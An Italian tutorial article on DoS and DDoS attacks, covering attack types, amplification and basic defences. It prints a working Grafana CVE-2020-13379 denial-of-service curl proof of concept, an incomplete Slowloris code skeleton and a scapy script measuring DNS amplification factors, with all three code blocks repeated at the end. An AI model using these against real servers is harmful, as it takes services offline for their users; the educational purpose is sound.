Dos e DDoS

Un attacco DoS (Denial of Service) è un tipo d’attacco informatico in cui un criminale tenta di rendere inaccessibile un sistema informatico, una rete o un servizio (da un singolo dispositivo). Un attacco DDoS (Distributed Denial of Service) è, invece, un tipo di attacco informatico in cui l’attaccante utilizza più dispositivi per provocare un disservizio.

Gli attacchi DoS e DDoS possono avere impatti significativi sulle strutture colpite, tra cui:

  • Blocco dei servizi: gli utenti autorizzati, dunque, non potranno più accedere ai servizi/sistemi con conseguente blocco della produttività/funzionalità.
  • Perdita/Danneggiamento di dati: il blocco improvviso di un sistema può provocare, a determinate condizioni, perdite o danneggiamento dei dati

Esistono varie tipologie di attacchi DoS:

  1. Attacchi volumetrici: questi attacchi si basano sull’invio di un numero elevato di richieste a un sistema in modo da sovraccaricarlo e renderlo inaccessibile.
  2. Attacchi mirati all’esaurimento delle risorse: questi attacchi si basano sull’utilizzo eccessivo di una o più risorse del sistema puntando ad esaurirle e rendere, di conseguenza, inaccessibile il servizio/sistema (questo lo si può fare anche su di un server DNS: in questo caso si parla di DNS Flood Attack).
  3. Exploit di vulnerabilità: sfruttare alcune vulnerabilità di alcuni componenti o funzioni del sistema può comportare il crash dell’applicativo/servizio.

Nel caso in cui l’attacco (volumetrico o mirato all’esaurimento delle risorse), venga effettuato da più dispositivi, si parla di attacco DDoS.

Prendiamo come esempio una vulnerabilità DoS afferente alle versioni da 3.0.1 a 7.0.1 di Grafana, la ben nota soluzione per la visualizzazione dati opensource.

Queste versioni sono affette da una vulnerabilità (CVE-2020-13379) di tipo SSRF (Server-Side Request Forgery) derivante da un incorretto controllo degli accessi (Improper Access Control) che consente ad un utente non autenticato di effettuare una richiesta HTTP circa gli avatar. Tale vulnerabilità, può essere utilizzata sia per ottenere informazioni utili ad altri attacchi sia a provocare un Denial of Service, nel caso in cui venga effettuata una richiesta contenente uno URL non valido.

Il Proof of Concept iniziale, realizzato nel 2020, è il seguente:

# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)
# Date: 2020-05-23
# Exploit Author: mostwanted002
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download
# Version: 3.0.1 - 7.0.1
# Tested on: Linux
# CVE : CVE-2020-13379

#!/bin/bash

if [[ $1 != "" ]]; then
    curl -I "${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"
else
    echo "Usage: grafana-dos.sh <TARGET>.   Example: grafana-dos.sh http://localhost:3000"
fi

Eseguendo questo semplice codice, dunque, è possibile provocare un errore di Segmentazione nell’istanza di Grafana (non riesce dunque a gestire l’eccezione circa lo URL non corretto fornitogli) e provocare il crash dell’applicativo.

Un altro esempio d’attacco DoS è quello denominato “SlowLoris”. In questo caso particolare, anziché inviare al server quante più informazioni possibili, vengono aperte, in contemporanea, molteplici sessioni valide e queste vengono mantenute effettuando nuove richieste (con cadenza periodica) per mantenere riservate le relative risorse del sistema.

Il relativo codice di un exploit assomiglierà a questo:

for i in range(numero_sessioni_desiderate):
	try:
		s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		s.settimeout(timeout_desiderato)

		s.connect((ip,port))
		connessioni.append(s)
	except:
		break

while True:
	for s in connessioni:
		try:
			line = f"GET /?{random_number} HTTP/1.1"
			line = f"{line}\r\n".encode("utf-8")

			# Richiesta

		except socket.error:
			# Eccezione

Esistono diversi tipi di attacchi di amplificazione DoS, tra cui:

  • Attacchi di amplificazione DNS: in questo tipo di attacco, l’attaccante invia un numero elevato di richieste di interrogazione DNS a un server DNS. Il server DNS risponderà a ogni richiesta inviando un numero elevato di pacchetti di risposta, che sovraccaricheranno il sistema di destinazione.
  • Attacchi di amplificazione NTP: in questo tipo di attacco, l’attaccante invia un numero elevato di richieste di sincronizzazione NTP a un server NTP. Il server NTP risponderà a ogni richiesta inviando un numero elevato di pacchetti di risposta, che sovraccaricheranno il sistema di destinazione.
  • Attacchi di amplificazione ICMP: in questo tipo di attacco, l’attaccante invia un numero elevato di richieste ICMP a un sistema. Il sistema risponderà a ogni richiesta inviando un numero elevato di pacchetti di risposta, che sovraccaricheranno il sistema di destinazione.

Per esempio, per effettuare un’amplificazione DNS, si potrebbe ricorrere a uno script di questo genere:

# Imports
from scapy.all import *
from pprint import pprint
import operator

# Parameters
interface = "eth0"                      # Interface you want to use
dns_source = "local-ip"                 # IP of that interface
dns_destination = ["ip1","ip2","ip3"]   # List of DNS Server IPs

time_to_live = 128                                                                 # IP TTL
query_name = "google.com"                                                          # DNS Query Name
query_type = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # DNS Query Types

# Initialise variables
results = []
packet_number=0

# Loop through all query types then all DNS servers
for i in range(0,len(query_type)):
    for j in range(0, len(dns_destination)):
        packet_number += 1

        # Craft the DNS query packet with scapy
        packet = IP(src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1, qd=DNSQR(qname=query_name, qtype=query_type[i]))

        # Sending the packet
        try:
            query = sr1(packet,iface=interface,verbose=False, timeout=8)
            print("Packet #{} sent!".format(packet_number))
        except:
            print("Error sending packet #{}".format(packet_number))

        # Creating dictionary with received information
        try:
            result_dict = {
                'dns_destination':dns_destination[j],
                'query_type':query_type[i],
                'query_size':len(packet),
                'response_size':len(query),
                'amplification_factor': ( len(query) / len(packet) ),
                'packet_number':packet_number
            }
            results.append(result_dict)
        except:
            pass

# Sort dictionary by the amplification factor
results.sort(key=operator.itemgetter('amplification_factor'),reverse=True)

# Print results
pprint(results)

 

Il codice originale di questo script lo potete trovare su Github.

Come abbiamo visto, gli attacchi di amplificazione DoS possono essere molto dannosi e possono rendere inaccessibili i sistemi di destinazione per un lungo periodo di tempo. Per proteggersi da questi attacchi, è importante adottare una serie di misure di sicurezza, tra cui:

  • Mantenere aggiornati i software
  • Utilizzare firewall e altri sistemi di sicurezza (WAF, etc.)
  • Monitorare il traffico di rete per rilevare anomalie.
  • Gestire correttamente le eccezioni
				
					# Imports
from scapy.all import *
from pprint import pprint
import operator

# Parameters
interface = "eth0"                      # Interface you want to use
dns_source = "local-ip"                 # IP of that interface
dns_destination = ["ip1","ip2","ip3"]   # List of DNS Server IPs

time_to_live = 128                                                                 # IP TTL 
query_name = "google.com"                                                          # DNS Query Name
query_type = ["ANY", "A","AAAA","CNAME","MX","NS","PTR","CERT","SRV","TXT", "SOA"] # DNS Query Types

# Initialise variables
results = []
packet_number=0

# Loop through all query types then all DNS servers
for i in range(0,len(query_type)):
    for j in range(0, len(dns_destination)):
        packet_number += 1

        # Craft the DNS query packet with scapy
        packet = IP(src=dns_source, dst=dns_destination[j], ttl=time_to_live) / UDP() / DNS(rd=1, qd=DNSQR(qname=query_name, qtype=query_type[i]))
        
        # Sending the packet
        try:
            query = sr1(packet,iface=interface,verbose=False, timeout=8)
            print("Packet #{} sent!".format(packet_number))
        except:
            print("Error sending packet #{}".format(packet_number))
        
        # Creating dictionary with received information
        try:
            result_dict = {
                'dns_destination':dns_destination[j],
                'query_type':query_type[i],
                'query_size':len(packet),
                'response_size':len(query),
                'amplification_factor': ( len(query) / len(packet) ),
                'packet_number':packet_number
            }
            results.append(result_dict)
        except:
            pass

# Sort dictionary by the amplification factor
results.sort(key=operator.itemgetter('amplification_factor'),reverse=True)

# Print results
pprint(results)
				
			
				
					for i in range(numero_sessioni_desiderate):
	try:
		s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
		s.settimeout(timeout_desiderato)

		s.connect((ip,port))
		connessioni.append(s)
	except:
		break

while True:
	for s in connessioni:
		try:
			line = f"GET /?{random_number} HTTP/1.1"
			line = f"{line}\r\n".encode("utf-8")

			# Richiesta

		except socket.error:
			# Eccezione		
				
			
				
					# Exploit Title: Grafana 7.0.1 - Denial of Service (PoC)
# Date: 2020-05-23
# Exploit Author: mostwanted002
# Vendor Homepage: https://grafana.com/
# Software Link: https://grafana.com/grafana/download
# Version: 3.0.1 - 7.0.1
# Tested on: Linux
# CVE : CVE-2020-13379

#!/bin/bash

if [[ $1 != "" ]]; then
    curl -I "${1}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D"
else
    echo "Usage: grafana-dos.sh <TARGET>.   Example: grafana-dos.sh http://localhost:3000"
fi